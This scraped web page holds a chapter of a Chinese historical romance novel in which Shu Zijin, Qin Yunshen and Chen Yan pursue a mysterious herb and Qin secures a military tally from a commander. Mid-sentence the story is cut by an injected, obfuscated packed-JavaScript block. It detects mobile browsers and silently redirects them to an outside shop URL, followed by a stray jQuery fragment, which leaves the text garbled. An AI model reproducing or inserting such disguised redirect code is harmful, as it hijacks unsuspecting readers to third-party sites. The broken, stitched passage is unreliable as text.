48. 第 48 章

作品:《官家女

    秦昀深的神情不似玩笑,书子锦心中警铃大作望向他的眼神带上了几分警惕,手不自觉的下移了几分,摸向腰间的荷包。


    麻醉人的药物紧紧握在手心,书子锦小心抬眸看向二人。再劝劝……万一有用呢,万一有用这些荷包内的药品就用不上了。


    劝诫的话还未说出口就被秦昀深反问:“那你是来?”


    书子锦一怔愣愣回答道:“我是来追查那草药去向的,顺便来拦住你们。”


    二人神色诧异,对视一眼看不明白她们二人的用意。


    书子锦抬眸再看向他们的眼神里有了几分镇定,正言厉色道:“京城大乱,现在最好的解决方法就是拦住你们回去,而且追封了几处宅院才发现光是京城那些草药根本不够,顺着来源我就追到了这里。”


    “就你一人?”方才进来秦昀深就看向四周,身边也没有一个护卫与侍从。


    “嗯,我一人足矣。”


    “此地凶险,你万不可!”陈宴听见书子锦说自己一个人之后,情绪莫名的激动起来,语气匆匆的说。


    “万不可什么?”书子锦偏眸看向他,轻声说:“万不可肆意乱来,万不可没有人保护之下而匆匆行事?”


    书子锦叹气眼神在二人之间回转,对于他们二人说了解也不了解,说不了解却还偏偏知道那么一点。他们无非就是怕着自己一个人出了什么事情,但这世上断然没有一个人就不可以的由头:“我断然不会顾眼前而弃大局,我并非匆急的性子我且知晓当下的形势。”


    秦昀深问:“追踪一事交给大理寺的人即可,或者飞鸽传信给我们,你为何不留在京城?”


    “为了方便铮儿行事。”


    书子锦淡淡的说了一句,燕铮的行事太陌生了,陌生到自己有些不敢认。


    究竟是不敢认还是没有见识过,一时间书子锦也不说准。在京城那么多年一直都风轻云淡,每日最发愁的也就是下午的姐妹聚会上的吃食。


    眼下经历的事情是怎么都想不到的,自己所熟悉的一切一瞬全变了,不仅仅是人。


    “行事?”秦昀深突然问道:“她要干什么?”


    书子锦点点头,解释:“眼下各位伯伯都已经软禁在家,说好点就是各有守卫看守也出不了什么意外,京城在意的人不在了,那她就要开始行动了。”


    “那你呢?”


    “我?自然是继续追查这草药的下落。”眸光一闪书子锦将目光定在一人身上,眉眼微微下弯,轻声道:“不过还真是有人能够帮上我。”


    陈宴对上书子锦直勾勾的目光,他一怔抬手指着自己问:“我吗?”


    “嗯。”书子锦淡然点头,补充道:“你来的地方,一定相当的熟悉。”


    说着书子锦伸手从荷包中拿出一个小瓶子,陈宴眼见一眼就看清楚了那里面的东西,惊呼了一声:“这就是那草药?我们平日都当普通的杂草来清理的。”


    本想着问问也不抱着希望能有个下落,没想到一拿出来陈宴立马就说了出来。眼中顿时闪过几分喜色,问:“你知道长在哪里?”


    “知道,不过路途有些遥远,这里……”陈宴面露难色,身后有了异动想必人已经追过来了。就怕几队人马将三个人堵在这里,谁也出不去,先不提燕铮要干什么,就算是自己想要干什么都会受到限制。


    秦昀深侧过身偏头看着身后匆匆赶过来的人,带回来的人马不多,但是往哪里一站足够将军营的大门口挡住。秦昀深上前几步拍了拍陈宴的肩膀,顺手牵过一匹马交给他,沉声说:“这里我来处理,你们去寻。”


    “你若是处理完……”书子锦说话的声音一顿,无奈笑了笑说:“”算了,你和铮儿一样,拦我定是拦不住的,只能一味的劝诫再劝诫。”


    听见这话秦昀深不知怎么的,心中莫名的有几分喜气。从某种行事风格上来说,他和燕铮怎么不算是配对的。


    “劝诫的话我也是不会听得。”


    “她也是这么说的。”


    秦昀深半眯着眼睛抬头看了一眼天,那些马匹还真是高大,眼底还能瞧见堵在军营门口的人马。


    都督瞧见三人始终站在那里没个动静,下马上前。左右二人不约而同的后退了一步,还未等说话利落的翻身上马骑出了军营。


    秦昀深转身挡在面前,勾起嘴角说道:“都督别来无恙,想是许多的事情要问吧。”


    秦昀深还是那副模样,看着随和又吊儿郎当的样子。但看向弯着的眼睛时又瞧不见半分的笑意,都督沉声说:“方才的谈话并非我故意窃听,是有许多问题等着大人,不过现下只有两个问题。”


    瞧着他的架势秦昀深就知道了,他没有要追陈宴他们的打算。要不然两个人一匹马怎么也闯不过军营门口,这么想着脸上的笑容多了些。


    “都督尽管问,我定是知无不言言无不尽。”


    “第一,京城风云涌起浪更是大得可怕,卷入其中只怕是落得个尸,即使这样,大人仍然要去?”


    都督的眉头蹙得紧,连带着话都急了几分。


    眼前的人桩桩件件在自己看来正常的不像话,说是平常但是又很肆意张扬,说是张扬但谁都不认识他。好似他只是这里的一个过客,圣旨在他手上无用一般,没有便利什么都没有。


    身世、背景、权利还有样貌,他样样不差。


    功勋更不值得一提,随便单拎一个出来那赏赐足够吃一辈子。但秦昀深好像不同,他不认。


    “要去,我早已经卷入其中,这风浪没了我还真不行。”秦昀深戏谑说着,瞧见都督不解的神情便认真了几分。


    “落叶归根不都是老将士常说的吗,生在京城死那也就在了。”说着神情忧伤了一瞬又很快恢复如初,笑着说:“死,就算给风浪添了一把火,必能助她。生,那我便去见她,助她。”


    他说话离不开她,都督刚刚听到的人名眼下更加的确认了:“你左右选择我看不出来异处。”


    “那就对了,我没有想过除了她的第二个选择。”瞧着他冷脸的神情摆摆手,问:“第二个问题呢?”


    “没了,大人刚刚所言我已经知道了第二个问题的答案。”


    再问显然也问不出来什么,步已经让出去了。


    “我也知道大人要什么。”袖口中的兵符缓缓拿出,双方的目光同时盯上。一瞬都督握紧了手,抬眸对上的那瞬毅然的递到秦昀深面前,郑重的说:“不过,我要大人的担保绝不会做出叛国之事,绝不会让我军白白浪费任意一条性命。”


    “这是我唯一、最大的让步。”


    秦昀深沉默一瞬抬手摸了摸身上的东西。


    “侯府是我爹的我拿不出来什么,唯有这个是真正属于我自己的。”秦昀深塞过来一块玉牌,上面雕刻着他的姓名身份。


    秦昀深解释道:“这是唯一能够认证我的东西,当今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269726|196278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    圣上御赐。我想,应该是有价值的。”


    都督看着秦昀深这般真诚的模样没忍住轻笑了一声:“有些稀奇了,居然不是府上的。”


    “我知道你在想什么,但那不是我的,我不能拿不是我的东西来担保,没有权力也没有能耐。”都督垂眸不语秦昀深以为是不满,连忙补充道:“眼下我有的,就是这个。”


    说话慌乱的模样让都督轻笑一声,这才是有着少年的模样。


    “足够了,若是军队归还之际大人没有做到刚刚所说的,我定会拿着这个在圣上面前告你的御状。”


    都督的调侃逗乐了秦昀深,随口说:“不会有这个机会的,信我。”


    话落秦昀深早已经转身去牵马,都督还在愣神,他眸光亮的可怕更是猜不中摸不透他的心思。


    “大人,一路顺风。”


    “嗯,不过就算是逆风,我也定能改变那风云。”


    手上玉牌冰凉的触感久久刺激着自己,秦昀深临走前的话更是在心头久久的徘徊。


    书子锦费力拉住缰绳歪头看着前面的路,陈宴左右都不自在。想要双手上前扯住酝酿了半响抬起手又放下,有些难为情的开口:“你是怎么追过来的?”


    “骑马啊。”陈宴一说话总是控制不住的扭头,书子锦不满的啧了一声,空出一只手来推了推他,厉声说:“你别动,我看不见了。”


    “不是,我是问你怎么自己过来的,你这……哎哎拉紧拉紧!”陈宴紧急抢过缰绳,马匹向上仰了一下书子锦下意识揪住了陈宴的衣角。


    陈宴一阵无奈回头看着她:“咱俩能商量一下吗?”


    “商量什么啊?时间紧迫!”


    “是是是,我知道时间紧迫。但是这样我真的……我能不能在后面?”陈宴面露难色。


    “你废话怎么这么多啊?”


    抱怨还没有抱怨完就被陈宴单手搂住腰,整个人调转了前后的方向,书子锦惊呼了一声:“哎!”


    刚刚的失重感还在身上,整个人感觉轻飘飘的。书子锦摇摇头低头理着自己的衣裳,听着陈宴说话:“祖宗啊,你见哪个大男子被姑娘带着坐在前面的,我,我整个人都不舒服。”


    “就你事多。”书子锦不满的抬头瞧了陈宴一眼,问:“不过刚刚就想要问了,你这一身怎么弄得,还有这头发怎么还短了几缕?”


    陈宴没太在意,垂眸看了一眼随口说:“哦,刚刚杀了一些人应该是对方砍断的。”


    书子锦半响没个回话陈宴垂眸望了一眼,书子锦正低头解着自己的辫子。


    陈宴愣了一瞬,眼底闪过一丝诧异:“你……”


    书子锦抬手扶了一下陈宴的下巴,让他正视前面。


    不知怎么陈宴心中一下子紧张了起来,刚被书子锦手动抬起头却又忍不住的垂眸看着她细微的动作。


    “别动,这样寓意不好我给你重新梳理一下。”黑发缠绕在纤细的手指之间,书子锦专注的看着眼前的三股发丝。陈宴只能感觉到自己的头发在动,垂眸又看得心动。


    “你发扣怎么不见了,算了我也有。”说着抬手将自己的发扣拆下来扣在他的辫子上,眼底闪过一丝喜色欣赏着自己的杰作。


    陈宴低头一看还听见了一声响,对上书子锦弯弯的眼眸,自己也不自觉笑了。她轻声说道:“我这个还比你那个光秃秃的好看呢,还有铃铛呢。”


    “这次别丢了。”